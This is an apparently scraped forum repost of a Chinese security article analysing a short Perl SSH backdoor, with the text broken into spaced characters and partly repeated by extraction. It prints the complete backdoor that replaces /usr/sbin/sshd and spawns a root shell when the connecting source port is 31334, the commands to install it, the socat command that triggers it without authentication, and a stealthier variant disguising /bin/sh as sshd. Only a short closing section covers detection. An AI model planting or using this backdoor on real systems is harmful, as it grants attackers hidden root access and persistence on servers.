搜索

[11596] 2017-07-28_一款短小精致的SSH后门分析

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2017-07-28_一款短小精致的SSH后门分析 一 款 短 小 精 致 的 S S H 后 门 分 析 k n p e w g 8 5 9 4 2   F r e e B u f   2 0 1 7 - 0 7 - 2 8 0 x 0 0 .   引 言 引 言 在 《 利 用 系 统 特 性 伪 装 成 一 个 免 密 登 陆 后 门 》 一 文 中 ， 我 介 绍 过 利 用 系 统 特 性 伪 装 成 一 个 在 《 利 用 系 统 特 性 伪 装 成 一 个 免 密 登 陆 后 门 》 一 文 中 ， 我 介 绍 过 利 用 系 统 特 性 伪 装 成 一 个 s s h 系 统 后 门 ， 不 过 ， 系 统 后 门 ， 不 过 ， 这 个 后 门 需 要 新 开 一 个 端 口 ， 而 本 文 介 绍 的 这 个 后 门 只 需 要 系 统 上 开 放 了 这 个 后 门 需 要 新 开 一 个 端 口 ， 而 本 文 介 绍 的 这 个 后 门 只 需 要 系 统 上 开 放 了 s s h 服 务 就 行 了 ， 不 需 要 额 外 的 开 放 端 服 务 就 行 了 ， 不 需 要 额 外 的 开 放 端 口 ， 详 情 见 正 文 。 口 ， 详 情 见 正 文 。 0 x 0 1 .   正 文 正 文 1 .   后 门 简 介 后 门 简 介 这 个 s s h   后 门 伪 装 成 一 个 p e r l 脚 本 ， 名 为 s s h d ， 位 于 / u s r / s b i n / s s h d   ,   将 系 统 原 先 的 s s h d   移 到 / u s r / b i n 下     s s h d 后 门 源 码 ： 后 门 源 码 ： # ! / u s r / b i n / p e r l e x e c " / b i n / s h " i f ( g e t p e e r n a m e ( S T D I N ) = ~ / ^ . . z f / ) ; e x e c { " / u s r / b i n / s s h d " } " / u s r / s b i n / s s h d " , @ A R G V ; 这 段 代 码 的 意 思 ： 第 一 行 ，   如 果 当 前 文 件 句 柄 S T D I N 是 一 个 s o c k e t ， 且 s o c k e t 的 远 程 连 接 源 端 口 是 3 1 3 3 4 （ B i g   网 络 字 节 序 中 的 1 6 进 制 字 符 串 为 x 0 0 x 0 0 z f ，   正 好 匹 配 上 p e r l 正 则   . . z f ， 上 述 代 码 中 的 z f 是 B i g   网 络 字 节 序 的 A s c i i 表 示 形 式 ） ， 则 执 行 / b i n / s h ， 并 结 束 当 前 程 序 运 行 （ 不 会 执 行 第 二 步 ） ， 相 当 于 反 弹 一 个 r o o t   s h e l l   （ 因 为 s s h d   是 以 r o o t 权 限 运 行 的 ） 给 远 程 s o c k e t     （ 一 般 只 有 攻 击 者 指 定 连 接 的 源 端 口 才 能 触 发 这 一 行 的 执 行 ） 第 二 行     启 动 s s h d   ( / u s r / b i n / s s h d 是 真 正 的 s s h d ) 服 务   ， 凡 是 传 递 给 / u s r / s b i n / s s h d   ( 后 门 ) 的 参 数 都 传 递 给 真 正 的 s s h d   （ 这 一 行 保 证 了 普 通 用 户 也 可 以 正 常 使 用 s s h   服 务 ， 登 录 并 不 会 有 什 么 异 常 现 象 ） 补 充 ： 补 充 ： 在 网 络 通 信 当 中 ， 大 多 传 递 的 数 据 是 以 二 进 制 流 （ b i n a r y   d a t a ） 存 在 的 。 当 传 递 字 符 串 时 ， 不 必 担 心 太 多 的 问 题 ， 而 当 传 递 诸 如 i n t 、 c h a r 之 类 的 基 本 数 据 的 时 候 ， 就 需 要 有 一 种 机 制 将 某 些 特 定 的 结 构 体 类 型 打 包 成 二 进 制 流 的 字 符 串 然 后 再 网 络 传 输 ， 而 接 收 端 也 应 该 可 以 通 过 某 种 机 制 进 行 解 包 还 原 出 原 始 的 结 构 体 数 据 。 p y t h o n 中 的 s t r u c t 模 块 就 提 供 了 这 样 的 机 制 : 2 .     如 何 使 用 后 门 如 何 使 用 后 门
这 里 做 个 实 例 演 示 被 控 端 ( V i c t i m )         1 0 . 1 . 1 0 0 . 3             K a l i 控 制 端                               1 0 . 1 . 1 0 0 . 2               c e n t o s 7 1 )   在 被 控 端 执 行 以 下 操 作 在 被 控 端 执 行 以 下 操 作 将 真 正 的 s s h d   移 至 / u s r / b i n / s s h d ， 将 后 门 s s h d   ( p e r l 脚 本 移 动 至 / u s r / s b i n / s s h d ) , 并 授 予 执 行 权 限 重 启   s s h   服 务 2 )   在 控 制 端 执 行 以 下 操 作 在 控 制 端 执 行 以 下 操 作 ： 这 行 命 令 的 意 思 是 说 ， 将 输 入 输 出 重 定 向 至 于 s o c k e t   1 0 . 1 . 1 0 0 . 3 : 2 2   （ 这 样 后 门 p e r l 脚 本 中 S T D I N 就 是 s o c k e t 了 ） ，   且 这 个 s o c k e t 的 源 端 口 为 3 1 3 3 4 这 行 命 令 等 价 于   s o c a t   - T C P 4 : 1 0 . 1 . 1 0 0 . 3 : 2 2 , s o u r c e p o r t = 3 1 3 3 4 这 样 就 可 以 无 需 认 证   （ 因 为 还 未 到 s s h d 认 证 阶 段 就 反 弹 r o o t   s h e l l   了 ） 成 功 获 取 控 制 端 系 统   s h e l l 我 们 看 一 下 被 控 端 m v   / u s r / s b i n / s s h d   / u s r / b i n / s s h d         c h m o d   + x   / u s r / s b i n / s s h d s o c a t   S T D I O   T C P 4 : 1 0 . 1 . 1 0 0 . 3 : 2 2 , s o u r c e p o r t = 3 1 3 3 4
2 2   端 口 是 s h   和   控 制 端 连 接 ， 程 序 名 是 s s h   ， 而 不 是 正 常 的 s s h d 为 了 增 强 隐 秘 性 ，   我 们 可 以 将 c o p y   一 份 / b i n / s h ，   重 命 名 为 / b i n / s s h d ， 修 改 后 门 源 码 为 ： 控 制 端 再 次 连 接 ： 现 在 已 经 变 成 了 s s h d   ， 伪 装 性 更 强 ！ 3 .   为 什 么 这 个 后 门 不 需 要 认 证 为 什 么 这 个 后 门 不 需 要 认 证 这 和 O p e n S S H   服 务 特 性 有 关 ， O p e n S S H   和 其 他 的 网 络 服 务 一 样 ， 都 会 f o r k 一 个 子 进 程 处 理 用 户 连 接 ，   但 是 有 一 点 和 其 他 网 络 服 务 不 一 样 ， 新 f o r k 的 子 进 程 不 会 直 接 处 理 用 户 连 接 ， 而 是 重 新 在 子 进 程 中 重 新 运 行 自 身 ， 也 就 是 / u s r / s b i n / s s h d   （ 就 是 O p e n S S H 自 身 二 进 制 文 件 ）   ， 所 以 用 户 的 连 接 是 被 重 新 运 行 的 / u s r / s b i n / s s h d   实 例 给 处 理 了 。 重 新 运 行 / u s r / s b i n / s s h d   就 会 执 行 后 门 的 第 一 行 代 码 。 从 而 反 弹 s h e l l 且 无 需 认 证 。   对 于 新 f o r k 的 子 进 程 来 说 ， 文 件 句 柄 S T D I N / S T D O U T   就 和 当 前 的 s o c k e t 关 联 在 一 起 了 。   （ 要 想 了 解 更 深 入 的 原 理 ， 需 要 去 查 看 O p e n S S H 的 源 码 了 ） s s h d . c   部 分 截 图 # ! / u s r / b i n / p e r l e x e c " / b i n / s s h d " i f ( g e t p e e r n a m e ( S T D I N ) = ~ / ^ . . z f / ) ; e x e c { " / u s r / b i n / s s h d " } " / u s r / s b i n / s s h d " , @ A R G V ;
默 认 重 新 执 行 自 身 的 标 识 是 为 1 4 .   O p e n S S H   为 什 么 在 子 进 程 中 重 新 运 行 自 身 ？ 为 什 么 在 子 进 程 中 重 新 运 行 自 身 ？ 从 O p e n S S H   3 . 9   以 后 的 版 本 都 有 这 样 的 特 性 ， 目 的 有 2 ： 1 ） 这 样 每 次 重 新 运 行 自 身 自 后 ， 每 一 个 新 连 接 的 执 行 时 间 都 是 不 一 样 的 2 ） 为 了 A S L R   更 加 有 效 ， 每 个 连 接 的 内 存 布 局 都 是 不 一 样 的 0 x 0 2 .   总 结 总 结 其 实 这 款 后 门 也 比 较 好 发 现 ， 首 先 正 常 的 s s h d   文 件 是 E L F 格 式 ， 而 后 门 是 纯 文 本 脚 本 ， 使 用 f i l e   命 令 就 可 以 发 现 另 外 也 可 以 定 期 检 测 系 统 关 键 文 件 的 h a s h 是 否 发 生 变 化 ， 位 置 是 否 发 生 变 化 ， 这 样 就 能 发 现 是 否 有 异 常
*   本 文 作 者 ： k n p e w g 8 5 9 4 2 ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理